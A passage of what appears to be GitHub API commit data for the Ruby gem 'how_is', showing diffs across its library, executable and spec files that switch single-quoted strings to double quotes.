otherwise.\n- f.puts if format == ''html''\n+ f.puts if format == \"html\"\n end\n end\n end\n end\n \n namespace :generate_reports do\n- desc ''Generate example HTML reports.''\n+ desc \"Generate example HTML reports.\"\n task :html do\n %w[\n how-is/example-repository\n how-is/example-empty-repository\n ].each do |repo|\n- HelperFunctions.generate_report(repo, ''html'')\n+ HelperFunctions.generate_report(repo, \"html\")\n end\n end\n \n- desc ''Generate example JSON reports.''\n+ desc \"Generate example JSON reports.\"\n task :json do\n- HelperFunctions.generate_report(''how-is/example-repository'', ''json'')\n+ HelperFunctions.generate_report(\"how-is/example-repository\", \"json\")\n end\n \n task :all => [:html, :json]"},{"sha":"3595c08ed71e81375b53de512423120a95c0c8b1","filename":"exe/how_is","status":"modified","additions":2,"deletions":2,"changes":4,"blob_url":"https://github.com/how-is/how_is/blob/279bd76a7e31311c9f7137da97750e1a045ed138/exe/how_is","raw_url":"https://github.com/how-is/how_is/raw/279bd76a7e31311c9f7137da97750e1a045ed138/exe/how_is","contents_url":"https://api.github.com/repos/how-is/how_is/contents/exe/how_is?ref=279bd76a7e31311c9f7137da97750e1a045ed138","patch":"@@ -8,7 +8,7 @@ require \"how_is/cli\"\n begin\n result = HowIs::CLI.parse(ARGV)\n rescue HowIs::CLI::OptionsError => e\n- raise if ENV[''SHOW_TRACE'']\n+ raise if ENV[\"SHOW_TRACE\"]\n \n abort \"Error: #{e.message}\"\n end\n@@ -43,7 +43,7 @@ begin\n )\n end\n rescue => e\n- raise if ENV[''SHOW_TRACE'']\n+ raise if ENV[\"SHOW_TRACE\"]\n \n abort \"Error: #{e.message}\"\n end"},{"sha":"baa3d7c6a460e77f8a42447afe7fd6dbbdada19b","filename":"lib/how_is.rb","status":"modified","additions":16,"deletions":16,"changes":32,"blob_url":"https://github.com/how-is/how_is/blob/279bd76a7e31311c9f7137da97750e1a045ed138/lib/how_is.rb","raw_url":"https://github.com/how-is/how_is/raw/279bd76a7e31311c9f7137da97750e1a045ed138/lib/how_is.rb","contents_url":"https://api.github.com/repos/how-is/how_is/contents/lib/how_is.rb?ref=279bd76a7e31311c9f7137da97750e1a045ed138","patch":"@@ -1,8 +1,8 @@\n # frozen_string_literal: true\n \n-require ''how_is/version''\n-require ''contracts''\n-require ''cacert''\n+require \"how_is/version\"\n+require \"contracts\"\n+require \"cacert\"\n \n Cacert.set_in_env\n \n@@ -14,9 +14,9 @@\n class HowIs\n include Contracts::Core\n \n- require ''how_is/fetcher''\n- require ''how_is/analyzer''\n- require ''how_is/report''\n+ require \"how_is/fetcher\"\n+ require \"how_is/analyzer\"\n+ require \"how_is/report\"\n \n DEFAULT_FORMAT = :html\n \n@@ -82,7 +82,7 @@ def self.from_hash(data)\n # generate.\n def self.supported_formats\n report_constants = HowIs.constants.grep(/.Report/) - [:BaseReport]\n- report_constants.map { |x| x.to_s.split(''Report'').first.downcase }\n+ report_constants.map { |x| x.to_s.split(\"Report\").first.downcase }\n end\n \n ##\n@@ -93,7 +93,7 @@ def self.supported_formats\n # if it can''t.\n def self.can_export_to?(file)\n # TODO: Check if the file is writable?\n- supported_formats.include?(file.split(''.'').last)\n+ supported_formats.include?(file.split(\".\").last)\n end\n \n # Generate an analysis.\n@@ -150,28 +150,28 @@ def self.from_config(config,\n report_class: nil)\n report_class ||= HowIs::Report\n \n- date = Date.strptime(Time.now.to_i.to_s, ''%s'')\n- friendly_date = date.strftime(''%B %d, %y'')\n+ date = Date.strptime(Time.now.to_i.to_s, \"%s\")\n+ friendly_date = date.strftime(\"%B %d, %y\")\n \n- analysis = HowIs.generate_analysis(repository: config[''repository''], github: github)\n+ analysis = HowIs.generate_analysis(repository: config[\"repository\"], github: github)\n \n report_data = {\n- repository: config[''repository''],\n+ repository: config[\"repository\"],\n date: date,\n friendly_date: friendly_date,\n }\n \n generated_reports = {}\n \n- config[''reports''].map do |format, report_config|\n+ config[\"reports\"].map do |format, report_config|\n # Sometimes report_data has unused keys, which generates a warning, but\n # we''re okay with it.\n- filename = silence_warnings { report_config[''filename''] % report_data }\n- file = File.join(report_config[''directory''], filename)\n+ filename = silence_warnings { report_config[\"filename\"] % report_data }\n+ file = File.join(report_config[\"directory\"], filename)\n \n report = report_class.export(analysis, format)\n \n- result = build_report(report_config[''frontmatter''], report_data, report)\n+ result = build_report(report_config[\"frontmatter\"], report_data, report)\n \n generated_reports[file] = result\n "},{"sha":"9039661781b696e10c3dda70547b7920ebc35bca","filename":"lib/how_is/analyzer.rb","status":"modified","additions":22,"deletions":22,"changes":44,"blob_url":"https://github.com/how-is/how_is/blob/279bd76a7e31311c9f7137da97750e1a045ed138/lib/how_is/analyzer.rb","raw_url":"https://github.com/how-is/how_is/raw/279bd76a7e31311c9f7137da97750e1a045ed138/lib/how_is/analyzer.rb","contents_url":"https://api.github.com/repos/how-is/how_is/contents/lib/how_is/analyzer.rb?ref=279bd76a7e31311c9f7137da97750e1a045ed138","patch":"@@ -1,9 +1,9 @@\n # frozen_string_literal: true\n \n-require ''contracts''\n-require ''ostruct''\n-require ''date''\n-require ''json''\n+require \"contracts\"\n+require \"ostruct\"\n+require \"date\"\n+require \"json\"\n \n class HowIs\n ##\n@@ -44,7 +44,7 @@ def call(data, analysis_class: Analysis)\n number_of_pulls: pulls.length,\n \n issues_with_label: with_label_links(num_with_label(issues), data.repository),\n- issues_with_no_label: {''link'' => nil, ''total'' => num_with_no_label(issues)},\n+ issues_with_no_label: {\"link\" => nil, \"total\" => num_with_no_label(issues)},\n \n average_issue_age: average_age_for(issues),\n average_pull_age: average_age_for(pulls),\n@@ -65,15 +65,15 @@ def call(data, analysis_class: Analysis)\n # @param data [Hash] The hash to generate an Analysis from.\n def self.from_hash(data)\n hash = data.map { |k, v|\n- v = DateTime.parse(v) if k.end_with?(''_date'')\n+ v = DateTime.parse(v) if k.end_with?(\"_date\")\n \n [k, v]\n }.to_h\n \n hash.keys.each do |key|\n- next unless hash[key].is_a?(Hash) && hash[key][''date'']\n+ next unless hash[key].is_a?(Hash) && hash[key][\"date\"]\n \n- hash[key][''date''] = DateTime.parse(hash[key][''date''])\n+ hash[key][\"date\"] = DateTime.parse(hash[key][\"date\"])\n end\n \n Analysis.new(hash)\n@@ -91,35 +91,35 @@ def num_with_label(issues_or_pulls)\n \n hash = Hash.new(0)\n issues_or_pulls.each do |iop|\n- next unless iop[''labels'']\n+ next unless iop[\"labels\"]\n \n- iop[''labels''].each do |label|\n- hash[label[''name'']] += 1\n+ iop[\"labels\"].each do |label|\n+ hash[label[\"name\"]] += 1\n end\n end\n hash\n end\n \n # Returns the number of issues with no label.\n def num_with_no_label(issues)\n- issues.select { |x| x[''labels''].empty? }.length\n+ issues.select { |x| x[\"labels\"].empty? }.length\n end\n \n # Given an Array of dates, average the timestamps and return the date that\n # represents.\n def average_date_for(issues_or_pulls)\n- timestamps = issues_or_pulls.map { |iop| Date.parse(iop[''created_at'']).strftime(''%s'').to_i }\n+ timestamps = issues_or_pulls.map { |iop| Date.parse(iop[\"created_at\"]).strftime(\"%s\").to_i }\n average_timestamp = timestamps.reduce(:+) / issues_or_pulls.length\n \n- DateTime.strptime(average_timestamp.to_s, ''%s'')\n+ DateTime.strptime(average_timestamp.to_s, \"%s\")\n end\n \n # Given an Array of issues or pulls, return the average age of them.\n # Returns nil if no issues or pulls are provided.\n def average_age_for(issues_or_pulls)\n return nil if issues_or_pulls.empty?\n \n- ages = issues_or_pulls.map { |iop| time_ago_in_seconds(iop[''created_at'']) }\n+ ages = issues_or_pulls.map { |iop| time_ago_in_seconds(iop[\"created_at\"]) }\n raw_average = ages.reduce(:+) / ages.length\n \n seconds_in_a_year = 31_556_926\n@@ -144,7 +144,7 @@ def average_age_for(issues_or_pulls)\n [weeks, \"week\"],\n [days, \"day\"],\n ].reject { |(v, _)| v.zero? }.map { |(v, k)|\n- k += ''s'' if v != 1\n+ k += \"s\" if v != 1\n [v, k]\n }\n \n@@ -161,7 +161,7 @@ def average_age_for(issues_or_pulls)\n end\n \n def sort_iops_by_created_at(issues_or_pulls)\n- issues_or_pulls.sort_by { |x| DateTime.parse(x[''created_at'']) }\n+ issues_or_pulls.sort_by { |x| DateTime.parse(x[\"created_at\"]) }\n end\n \n # Given an Array of issues or pulls, return the oldest.\n@@ -182,7 +182,7 @@ def newest_for(issues_or_pulls)\n \n # Given an issue or PR, returns the date it was created.\n def date_for(issue_or_pull)\n- DateTime.parse(issue_or_pull[''created_at''])\n+ DateTime.parse(issue_or_pull[\"created_at\"])\n end\n \n private\n@@ -193,7 +193,7 @@ def with_label_links(labels, repository)\n labels.map { |label, num_issues|\n label_link = \"https://github.com/#{repository}/issues?q=\" + CGI.escape(\"is:open is:issue label:\\\"#{label}\\\"\")\n \n- [label, {''link'' => label_link, ''total'' => num_issues}]\n+ [label, {\"link\" => label_link, \"total\" => num_issues}]\n }.to_h\n end\n \n@@ -207,9 +207,9 @@ def issue_or_pull_to_hash(iop)\n \n ret = {}\n \n- ret[''html_url''] = iop[''html_url'']\n- ret[''number''] = iop[''number'']\n- ret[''date''] = date_for(iop)\n+ ret[\"html_url\"] = iop[\"html_url\"]\n+ ret[\"number\"] = iop[\"number\"]\n+ ret[\"date\"] = date_for(iop)\n \n ret\n end"},{"sha":"95faa6f7b8eec7302f5a073e9b39f638a79c8514","filename":"lib/how_is/fetcher.rb","status":"modified","additions":7,"deletions":7,"changes":14,"blob_url":"https://github.com/how-is/how_is/blob/279bd76a7e31311c9f7137da97750e1a045ed138/lib/how_is/fetcher.rb","raw_url":"https://github.com/how-is/how_is/raw/279bd76a7e31311c9f7137da97750e1a045ed138/lib/how_is/fetcher.rb","contents_url":"https://api.github.com/repos/how-is/how_is/contents/lib/how_is/fetcher.rb?ref=279bd76a7e31311c9f7137da97750e1a045ed138","patch":"@@ -1,8 +1,8 @@\n # frozen_string_literal: true\n \n-require ''contracts''\n-require ''github_api''\n-require ''how_is/pulse''\n+require \"contracts\"\n+require \"github_api\"\n+require \"how_is/pulse\"\n \n class HowIs\n ##\n@@ -37,12 +37,12 @@ def call(repository,\n pulse = nil)\n github ||= Github.new(auto_pagination: true)\n pulse ||= HowIs::Pulse.new(repository)\n- user, repo = repository.split(''/'', 2)\n+ user, repo = repository.split(\"/\", 2)\n \n unless user && repo\n- raise HowIs::CLI::OptionsError, ''To generate a report from GitHub, '' \\\n- ''provide the repository '' \\\n- ''username/project. Quitting!''\n+ raise HowIs::CLI::OptionsError, \"To generate a report from GitHub, \" \\\n+ \"provide the repository \" \\\n+ \"username/project. Quitting!\"\n end\n \n issues = github.issues.list user: user, repo: repo"},{"sha":"1174669d9de3523b77c9abadd9415542e0037034","filename":"lib/how_is/pulse.rb","status":"modified","additions":3,"deletions":3,"changes":6,"blob_url":"https://github.com/how-is/how_is/blob/279bd76a7e31311c9f7137da97750e1a045ed138/lib/how_is/pulse.rb","raw_url":"https://github.com/how-is/how_is/raw/279bd76a7e31311c9f7137da97750e1a045ed138/lib/how_is/pulse.rb","contents_url":"https://api.github.com/repos/how-is/how_is/contents/lib/how_is/pulse.rb?ref=279bd76a7e31311c9f7137da97750e1a045ed138","patch":"@@ -1,6 +1,6 @@\n # frozen_string_literal: true\n \n-require ''tessellator/fetcher''\n+require \"tessellator/fetcher\"\n \n class HowIs\n # This entire class is a monstrous hack, because GitHub doesn''t provide\n@@ -36,12 +36,12 @@ def parts\n end\n \n def stats_html_fragment\n- parts.last.split('''').first.strip\n+ parts.last.split(\"\").first.strip\n end\n \n # Fetch Pulse page from GitHub for scraping.\n def fetch_pulse!(repository)\n- Tessellator::Fetcher.new.call(''get'', \"https://github.com/#{repository}/pulse/monthly\")\n+ Tessellator::Fetcher.new.call(\"get\", \"https://github.com/#{repository}/pulse/monthly\")\n end\n end\n end"},{"sha":"d8830d1284a736327c932318a6163d4b1d63ec2b","filename":"lib/how_is/report.rb","status":"modified","additions":6,"deletions":6,"changes":12,"blob_url":"https://github.com/how-is/how_is/blob/279bd76a7e31311c9f7137da97750e1a045ed138/lib/how_is/report.rb","raw_url":"https://github.com/how-is/how_is/raw/279bd76a7e31311c9f7137da97750e1a045ed138/lib/how_is/report.rb","contents_url":"https://api.github.com/repos/how-is/how_is/contents/lib/how_is/report.rb?ref=279bd76a7e31311c9f7137da97750e1a045ed138","patch":"@@ -1,6 +1,6 @@\n # frozen_string_literal: true\n \n-require ''date''\n+require \"date\"\n require \"pathname\"\n \n class HowIs\n@@ -14,13 +14,13 @@ def initialize(format)\n # Report control class with class methods to make reports for an analysis\n # or to save reports in files, or otherwise interact with the files.\n class Report\n- require ''how_is/report/json''\n- require ''how_is/report/html''\n+ require \"how_is/report/json\"\n+ require \"how_is/report/html\"\n \n ##\n # Export a report to a file.\n def self.export_file(analysis, file)\n- format = file.split(''.'').last\n+ format = file.split(\".\").last\n report = get_report_class(format).new(analysis)\n \n report.export_file(file)\n@@ -40,7 +40,7 @@ def self.export(analysis, format = HowIs::DEFAULT_FORMAT)\n # @param file [String,Pathname] Name of file to write to\n # @param report [Report] Report to store\n def self.save_report(file, report)\n- File.open(file, ''w'') do |f|\n+ File.open(file, \"w\") do |f|\n f.write report\n end\n end\n@@ -52,7 +52,7 @@ def self.save_report(file, report)\n #\n # @return [String] Report format inferred from file name\n def self.infer_format(file)\n- Pathname(file).extname.delete(''.'')\n+ Pathname(file).extname.delete(\".\")\n end\n \n ##"},{"sha":"70acfdeb08a5a04d942faaa923b2c281da712319","filename":"lib/how_is/report/base_report.rb","status":"modified","additions":4,"deletions":4,"changes":8,"blob_url":"https://github.com/how-is/how_is/blob/279bd76a7e31311c9f7137da97750e1a045ed138/lib/how_is/report/base_report.rb","raw_url":"https://github.com/how-is/how_is/raw/279bd76a7e31311c9f7137da97750e1a045ed138/lib/how_is/report/base_report.rb","contents_url":"https://api.github.com/repos/how-is/how_is/contents/lib/how_is/report/base_report.rb?ref=279bd76a7e31311c9f7137da97750e1a045ed138","patch":"@@ -1,6 +1,6 @@\n # frozen_string_literal: true\n \n-require ''json''\n+require \"json\"\n \n class HowIs\n BaseReport = Struct.new(:analysis)\n@@ -31,11 +31,11 @@ def generate_report_text!\n issue_or_pr_summary \"issue\", \"issue\"\n \n header \"Issues Per Label\"\n- issues_per_label = analysis.issues_with_label.to_a.sort_by { |(_, v)| v[''total''].to_i }.reverse\n+ issues_per_label = analysis.issues_with_label.to_a.sort_by { |(_, v)| v[\"total\"].to_i }.reverse\n issues_per_label.map! do |label, hash|\n- [label, hash[''total''], hash[''link'']]\n+ [label, hash[\"total\"], hash[\"link\"]]\n end\n- issues_per_label << [\"(No label)\", analysis.issues_with_no_label[''total''], nil]\n+ issues_per_label << [\"(No label)\", analysis.issues_with_no_label[\"total\"], nil]\n horizontal_bar_graph issues_per_label\n \n # See comment at beginning of function."},{"sha":"05df30b4f7c395171fb0cca1060167a178e789ee","filename":"lib/how_is/report/html.rb","status":"modified","additions":4,"deletions":4,"changes":8,"blob_url":"https://github.com/how-is/how_is/blob/279bd76a7e31311c9f7137da97750e1a045ed138/lib/how_is/report/html.rb","raw_url":"https://github.com/how-is/how_is/raw/279bd76a7e31311c9f7137da97750e1a045ed138/lib/how_is/report/html.rb","contents_url":"https://api.github.com/repos/how-is/how_is/contents/lib/how_is/report/html.rb?ref=279bd76a7e31311c9f7137da97750e1a045ed138","patch":"@@ -1,7 +1,7 @@\n # frozen_string_literal: true\n \n-require ''cgi''\n-require ''how_is/report/base_report''\n+require \"cgi\"\n+require \"how_is/report/base_report\"\n \n class HowIs\n # HTML Report implementation\n@@ -70,14 +70,14 @@ def horizontal_bar_graph(data)\n end\n \n def export\n- @r = ''''\n+ @r = \"\"\n generate_report_text!\n end\n \n def export_file(file)\n report = export\n \n- File.open(file, ''w'') do |f|\n+ File.open(file, \"w\") do |f|\n f.puts <<~EOF\n \n "},{"sha":"4b57331d06d8eae97ef32888e65e3dbe4efa2c35","filename":"lib/how_is/report/json.rb","status":"modified","additions":2,"deletions":2,"changes":4,"blob_url":"https://github.com/how-is/how_is/blob/279bd76a7e31311c9f7137da97750e1a045ed138/lib/how_is/report/json.rb","raw_url":"https://github.com/how-is/how_is/raw/279bd76a7e31311c9f7137da97750e1a045ed138/lib/how_is/report/json.rb","contents_url":"https://api.github.com/repos/how-is/how_is/contents/lib/how_is/report/json.rb?ref=279bd76a7e31311c9f7137da97750e1a045ed138","patch":"@@ -1,6 +1,6 @@\n # frozen_string_literal: true\n \n-require ''how_is/report/base_report''\n+require \"how_is/report/base_report\"\n \n class HowIs\n ##\n@@ -26,7 +26,7 @@ def export\n ##\n # Generates a report and writes it to a file.\n def export_file(file)\n- File.open(file, ''w'') do |f|\n+ File.open(file, \"w\") do |f|\n f.write export\n end\n end"},{"sha":"2618c8d1f55135f1c0e2a51d13d837f94f780c2b","filename":"spec/how_is/analyzer_spec.rb","status":"modified","additions":15,"deletions":15,"changes":30,"blob_url":"https://github.com/how-is/how_is/blob/279bd76a7e31311c9f7137da97750e1a045ed138/spec/how_is/analyzer_spec.rb","raw_url":"https://github.com/how-is/how_is/raw/279bd76a7e31311c9f7137da97750e1a045ed138/spec/how_is/analyzer_spec.rb","contents_url":"https://api.github.com/repos/how-is/how_is/contents/spec/how_is/analyzer_spec.rb?ref=279bd76a7e31311c9f7137da97750e1a045ed138","patch":"@@ -1,41 +1,41 @@\n # frozen_string_literal: true\n \n-require ''spec_helper''\n+require \"spec_helper\"\n \n describe HowIs::Analyzer do\n- let(:issues) { JSON.parse(open(File.expand_path(''../data/issues.json'', __dir__)).read) }\n- let(:pulls) { JSON.parse(open(File.expand_path(''../data/pulls.json'', __dir__)).read) }\n+ let(:issues) { JSON.parse(open(File.expand_path(\"../data/issues.json\", __dir__)).read) }\n+ let(:pulls) { JSON.parse(open(File.expand_path(\"../data/pulls.json\", __dir__)).read) }\n \n- let(:fake_issues) { JSON.parse(open(File.expand_path(''../data/fake/issues.json'', __dir__)).read) }\n+ let(:fake_issues) { JSON.parse(open(File.expand_path(\"../data/fake/issues.json\", __dir__)).read) }\n # let(:fake_pulls) { JSON.parse(open(File.expand_path(''../data/pulls.json'', __dir__)).read) }\n \n let(:fetcher_results) { HowIs::Fetcher::Results.new(issues, pulls) }\n \n subject { HowIs::Analyzer.new }\n \n- context ''#num_with_label'' do\n- it ''returns a Hash mapping labels to the number of issues or pulls with that label'' do\n+ context \"#num_with_label\" do\n+ it \"returns a Hash mapping labels to the number of issues or pulls with that label\" do\n actual = subject.num_with_label(fake_issues)\n expected = {\"triage\" => 3, \"administrative\" => 2}\n \n expect(actual).to eq(expected)\n end\n end\n \n- context ''#average_date_for'' do\n- it ''returns the average date for the provided issues or pulls'' do\n+ context \"#average_date_for\" do\n+ it \"returns the average date for the provided issues or pulls\" do\n actual = subject.average_date_for(fake_issues)\n- expected = DateTime.parse(''2006-01-01'')\n+ expected = DateTime.parse(\"2006-01-01\")\n \n expect(actual).to eq(expected)\n end\n end\n \n- context ''#average_age_for'' do\n- it ''returns the average age for the provided issues or pulls'' do\n+ context \"#average_age_for\" do\n+ it \"returns the average age for the provided issues or pulls\" do\n actual = nil\n \n- date = DateTime.parse(''2016-07-07'')\n+ date = DateTime.parse(\"2016-07-07\")\n Timecop.freeze(date) do\n actual = subject.average_age_for(fake_issues)\n end\n@@ -46,10 +46,10 @@\n end\n end\n \n- context ''#oldest_for'' do\n- it ''returns the oldest item for the provided issues or pulls'' do\n+ context \"#oldest_for\" do\n+ it \"returns the oldest item for the provided issues or pulls\" do\n actual = subject.oldest_for(fake_issues)\n- expected = JSON.parse(open(File.expand_path(''../data/how_is/analyzer_spec/oldest_for.json'', __dir__)).read)\n+ expected = JSON.parse(open(File.expand_path(\"../data/how_is/analyzer_spec/oldest_for.json\", __dir__)).read)\n \n expect(actual).to eq(expected)\n end"},{"sha":"edd1b55415bbaf220f460ff8f02aa2cd0322d9de","filename":"spec/how_is/cli_spec.rb","status":"modified","additions":7,"deletions":7,"changes":14,"blob_url":"https://github.com/how-is/how_is/blob/279bd76a7e31311c9f7137da97750e1a045ed138/spec/how_is/cli_spec.rb","raw_url":"https://github.com/how-is/how_is/raw/279bd76a7e31311c9f7137da97750e1a045ed138/spec/how_is/cli_spec.rb","contents_url":"https://api.github.com/repos/how-is/how_is/contents/spec/how_is/cli_spec.rb?ref=279bd76a7e31311c9f7137da97750e1a045ed138","patch":"@@ -1,21 +1,21 @@\n # frozen_string_literal: true\n \n-require ''spec_helper''\n-require ''how_is/cli''\n+require \"spec_helper\"\n+require \"how_is/cli\"\n \n-CLI_EXAMPLE_REPORT_FILE = File.expand_path(''../data/how_is/cli_spec/example_report.json'', __dir__)\n+CLI_EXAMPLE_REPORT_FILE = File.expand_path(\"../data/how_is/cli_spec/example_report.json\", __dir__)\n \n describe HowIs::CLI do\n subject { HowIs::CLI }\n \n- context ''#parse'' do\n- it ''converts flags to a Hash'' do\n+ context \"#parse\" do\n+ it \"converts flags to a Hash\" do\n actual = subject.parse(%w[--version])\n \n expect(actual[:options][:version]).to eq(true)\n end\n \n- it ''raises NoRepositoryError if a repository is required but not specified'' do\n+ it \"raises NoRepositoryError if a repository is required but not specified\" do\n expect {\n subject.parse(%w[])\n }.to raise_error(HowIs::CLI::NoRepositoryError)\n@@ -37,7 +37,7 @@\n expect(actual[:options][:from]).to eq(CLI_EXAMPLE_REPORT_FILE)\n end\n \n- it ''raises InvalidOutputFileError if you specify an invalid format'' do\n+ it \"raises InvalidOutputFileError if you specify an invalid format\" do\n expect {\n subject.parse(%w[--report has_an.invalidformat how-is/example-repository])\n }.to raise_error(HowIs::CLI::InvalidOutputFileError, /has_an.invalidformat/)"},{"sha":"cf0b304e36d15ccc99e90ab4b44c21c3f98f5889","filename":"spec/how_is/fetcher_spec.rb","status":"modified","additions":12,"deletions":12,"changes":24,"blob_url":"https://github.com/how-is/how_is/blob/279bd76a7e31311c9f7137da97750e1a045ed138/spec/how_is/fetcher_spec.rb","raw_url":"https://github.com/how-is/how_is/raw/279bd76a7e31311c9f7137da97750e1a045ed138/spec/how_is/fetcher_spec.rb","contents_url":"https://api.github.com/repos/how-is/how_is/contents/spec/how_is/fetcher_spec.rb?ref=279bd76a7e31311c9f7137da97750e1a045ed138","patch":"@@ -1,35 +1,35 @@\n # frozen_string_literal: true\n \n-require ''spec_helper''\n-require ''json''\n+require \"spec_helper\"\n+require \"json\"\n \n describe HowIs::Fetcher do\n- let(:issues) { JSON.parse(open(File.expand_path(''../data/issues.json'', __dir__)).read) }\n- let(:pulls) { JSON.parse(open(File.expand_path(''../data/pulls.json'', __dir__)).read) }\n+ let(:issues) { JSON.parse(open(File.expand_path(\"../data/issues.json\", __dir__)).read) }\n+ let(:pulls) { JSON.parse(open(File.expand_path(\"../data/pulls.json\", __dir__)).read) }\n \n let(:github) {\n instance_double(\n- ''GitHub'',\n- issues: instance_double(''GitHub::Issues'', list: issues),\n- pulls: instance_double(''GitHub::Pulls'', list: pulls)\n+ \"GitHub\",\n+ issues: instance_double(\"GitHub::Issues\", list: issues),\n+ pulls: instance_double(\"GitHub::Pulls\", list: pulls)\n )\n }\n \n let(:pulse) {\n Class.new {\n def html_summary\n- ''html_summary''\n+ \"html_summary\"\n end\n }.new\n }\n \n- context ''#call'' do\n- it ''returns a hash containing issues and pull requests'' do\n- actual = subject.call(''user/repo'', github, pulse)\n+ context \"#call\" do\n+ it \"returns a hash containing issues and pull requests\" do\n+ actual = subject.call(\"user/repo\", github, pulse)\n \n expect(actual[:issues]).to eq(issues)\n expect(actual[:pulls]).to eq(pulls)\n- expect(actual[:pulse]).to eq(''html_summary'')\n+ expect(actual[:pulse]).to eq(\"html_summary\")\n end\n end\n end"},{"sha":"77bdb6f9bf4cb55e882349bf8564456149e1e499","filename":"spec/how_is/integration.rb","status":"modified","additions":7,"deletions":7,"changes":14,"blob_url":"https://github.com/how-is/how_is/blob/279bd76a7e31311c9f7137da97750e1a045ed138/spec/how_is/integration.rb","raw_url":"https://github.com/how-is/how_is/raw/279bd76a7e31311c9f7137da97750e1a045ed138/spec/how_is/integration.rb","contents_url":"https://api.github.com/repos/how-is/how_is/contents/spec/how_is/integration.rb?ref=279bd76a7e31311c9f7137da97750e1a045ed138","patch":"@@ -1,12 +1,12 @@\n # frozen_string_literal: true\n \n-require ''spec_helper''\n+require \"spec_helper\"\n \n-HOW_IS_EXE = File.expand_path(''../../exe/how_is'', __dir__)\n+HOW_IS_EXE = File.expand_path(\"../../exe/how_is\", __dir__)\n \n-describe ''Integration Tests'' do\n- context ''--help and -h flags'' do\n- it ''outputs usage information'' do\n+describe \"Integration Tests\" do\n+ context \"--help and -h flags\" do\n+ it \"outputs usage information\" do\n %w[--help -h].each do |flag|\n stub_const(\"ARGV\", [flag])\n \n@@ -17,8 +17,8 @@\n end\n end\n \n- context ''--version and -v flags'' do\n- it ''outputs the version number'' do\n+ context \"--version and -v flags\" do\n+ it \"outputs the version number\" do\n %w[--version -v].each do |flag|\n stub_const(\"ARGV\", [flag])\n "},{"sha":"38d98f5ff3c5c51515a6162dfeef5799f99346ac","filename":"spec/how_is_spec.rb","status":"modified","additions":36,"deletions":36,"changes":72,"blob_url":"https://github.com/how-is/how_is/blob/279bd76a7e31311c9f7137da97750e1a045ed138/spec/how_is_spec.rb","raw_url":"https://github.com/how-is/how_is/raw/279bd76a7e31311c9f7137da97750e1a045ed138/spec/how_is_spec.rb","contents_url":"https://api.github.com/repos/how-is/how_is/contents/spec/how_is_spec.rb?ref=279bd76a7e31311c9f7137da97750e1a045ed138","patch":"@@ -1,17 +1,17 @@\n # frozen_string_literal: true\n \n-require ''spec_helper''\n-require ''open3''\n-require ''timecop''\n-require ''yaml''\n+require \"spec_helper\"\n+require \"open3\"\n+require \"timecop\"\n+require \"yaml\"\n \n-HOW_IS_CONFIG_FILE = File.expand_path(''./data/how_is.yml'', __dir__)\n+HOW_IS_CONFIG_FILE = File.expand_path(\"./data/how_is.yml\", __dir__)\n \n-HOW_IS_EXAMPLE_REPOSITORY_JSON_REPORT = File.expand_path(''./data/how-is-example-repository-report.json'', __dir__)\n-HOW_IS_EXAMPLE_REPOSITORY_HTML_REPORT = File.expand_path(''./data/how-is-example-repository-report.html'', __dir__)\n+HOW_IS_EXAMPLE_REPOSITORY_JSON_REPORT = File.expand_path(\"./data/how-is-example-repository-report.json\", __dir__)\n+HOW_IS_EXAMPLE_REPOSITORY_HTML_REPORT = File.expand_path(\"./data/how-is-example-repository-report.html\", __dir__)\n \n HOW_IS_EXAMPLE_EMPTY_REPOSITORY_HTML_REPORT =\n- File.expand_path(''./data/how-is-example-empty-repository-report.html'', __dir__)\n+ File.expand_path(\"./data/how-is-example-empty-repository-report.html\", __dir__)\n \n JEKYLL_HEADER =\n <<~EOF\n@@ -26,23 +26,23 @@\n # 2016-11-01 00:00:00 UTC.\n # See note in lib/how_is/report.rb about new_offset.\n # TODO: Stop pretending to always be in UTC.\n- date = DateTime.parse(''2016-11-01'').new_offset(0)\n+ date = DateTime.parse(\"2016-11-01\").new_offset(0)\n Timecop.freeze(date)\n end\n \n after do\n Timecop.return\n end\n \n- it ''from_json(json) works'' do\n+ it \"from_json(json) works\" do\n expected = File.open(HOW_IS_EXAMPLE_REPOSITORY_JSON_REPORT).read\n actual = HowIs.from_json(expected).to_json\n \n expect(expected.strip).to eq(actual.strip)\n end\n \n- context ''with a config'' do\n- it ''generates valid report files'' do\n+ context \"with a config\" do\n+ it \"generates valid report files\" do\n Dir.mktmpdir { |dir|\n Dir.chdir(dir) {\n reports = nil\n@@ -53,7 +53,7 @@\n }.to_not output.to_stderr\n end\n \n- html_report = reports[''./report.html'']\n+ html_report = reports[\"./report.html\"]\n # TODO: Verify that JSON report is correct.\n # json_report = reports[''./report.json'']\n \n@@ -63,44 +63,44 @@\n end\n end\n \n- context ''HTML report for how-is/example-repository'' do\n- it ''generates a valid report'' do\n+ context \"HTML report for how-is/example-repository\" do\n+ it \"generates a valid report\" do\n expected = File.open(HOW_IS_EXAMPLE_REPOSITORY_HTML_REPORT).read.chomp\n actual = nil\n \n VCR.use_cassette(\"how-is-example-repository\") do\n expect {\n- actual = HowIs.new(''how-is/example-repository'').to_html\n+ actual = HowIs.new(\"how-is/example-repository\").to_html\n }.to_not output.to_stderr\n end\n \n expect(expected).to eq(actual)\n end\n end\n \n- context ''JSON report for how-is/example-repository'' do\n- it ''generates a valid report file'' do\n+ context \"JSON report for how-is/example-repository\" do\n+ it \"generates a valid report file\" do\n expected = File.open(HOW_IS_EXAMPLE_REPOSITORY_JSON_REPORT).read.chomp\n actual = nil\n \n VCR.use_cassette(\"how-is-example-repository\") do\n expect {\n- actual = HowIs.new(''how-is/example-repository'').to_json\n+ actual = HowIs.new(\"how-is/example-repository\").to_json\n }.to_not output.to_stderr\n end\n \n expect(expected).to eq(actual)\n end\n end\n \n- context ''HTML report for repository with no PRs or issues'' do\n- it ''generates a valid report file'' do\n+ context \"HTML report for repository with no PRs or issues\" do\n+ it \"generates a valid report file\" do\n expected = File.open(HOW_IS_EXAMPLE_EMPTY_REPOSITORY_HTML_REPORT).read.chomp\n actual = nil\n \n VCR.use_cassette(\"how-is-example-empty-repository\") do\n expect {\n- actual = HowIs.new(''how-is/example-empty-repository'').to_html\n+ actual = HowIs.new(\"how-is/example-empty-repository\").to_html\n }.to_not output.to_stderr\n end\n \n@@ -110,20 +110,20 @@\n \n # Disable ''cop'' that is violated by every .generate_frontmatter() calls.\n # rubocop:disable Layout/BracesAroundHashParameters\n- context ''#generate_frontmatter'' do\n- it ''works with frontmatter parameter using String keys, report_data using String keys'' do\n+ context \"#generate_frontmatter\" do\n+ it \"works with frontmatter parameter using String keys, report_data using String keys\" do\n actual = nil\n expected = nil\n \n VCR.use_cassette(\"how-is-example-repository\") do\n- actual = 